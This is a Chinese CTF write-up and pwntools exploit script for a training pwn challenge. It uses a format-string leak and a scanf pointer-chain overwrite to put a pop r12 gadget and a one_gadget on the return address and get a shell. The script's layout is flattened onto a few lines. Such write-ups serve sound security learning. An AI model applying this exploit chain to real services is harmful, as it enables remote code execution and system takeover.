文件属性
属性
值
Arch
x64
RELRO
Full
Canary
on
NX
on
PIE
on
strip
no
libc
2.31-0ubuntu9.14
解题思路 一次printf,两次scanf,每次16字节,颇有一点难度 我一看栈的地址,因为ASLR的存在乱跳,不方便硬编码;写2个字节吧,又没有机会leak libc;
因为栈上有跳板ptr1->ptr2->char[]str
,因此可以*ptr1=ptr2x->retAddr
(打moectf打的),
然后再*ptr2x=oneGadget
控制返回流为ogg;但是我检查限制条件时,发现让r12 == 0
不满足,
故先写pop r12;ret
的地址到返回地址上,跟一个p64(0)
,把让r12改成0,再做ogg;
此时发现,scanf岂不是比%n好用多了?所以第一个scanf改的是跳板,第二个改的是返回地址内容
值得注意的是,scanf("%s")是不按\0截断的,并且也可以用%8$s
这种方式指定参数序号
EXPLOIT 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *def payload (lo:int ): global sh libc = ELF('./libc-2.31.so' ) if lo: sh = process('123go' ) if lo & 2 : gdb.attach(sh) else : sh = remote('training.0rays.club' , 10039 ) sh.sendafter(b'name:' , b'%11$p%13$p' ) sh.recvuntil(b'llo:' ) libcstartmain = int (sh.recv(14 ).decode(), 16 ) libcBase = libcstartmain - 243 - libc.symbols['__libc_start_main' ] print ('libc leaked' ) stack = int (sh.recv(14 ).decode(), 16 ) retAddr = stack - 0x648 + 0x558 print ('stack leaked' ) if libcBase & 0xfff : print (f'Invalid libcBase ({hex (libcBase)} )' ) sh.close() return False sh.sendafter(b'text' , b'%13$d' ) input ('type <CR> when ready' ) sh.sendline(str (retAddr & 0xffffffff ).encode()) print ('addr sent' ) popR12 = libcBase + 0xc9e91 oneGadget = libcBase + 0xe3afe sh.sendafter(b'text' , b'%41$s' ) input ('type <CR> when ready' ) sh.sendline(p64(popR12) + p64(0 ) + p64(oneGadget)) print ('payload sent' ) sh.interactive()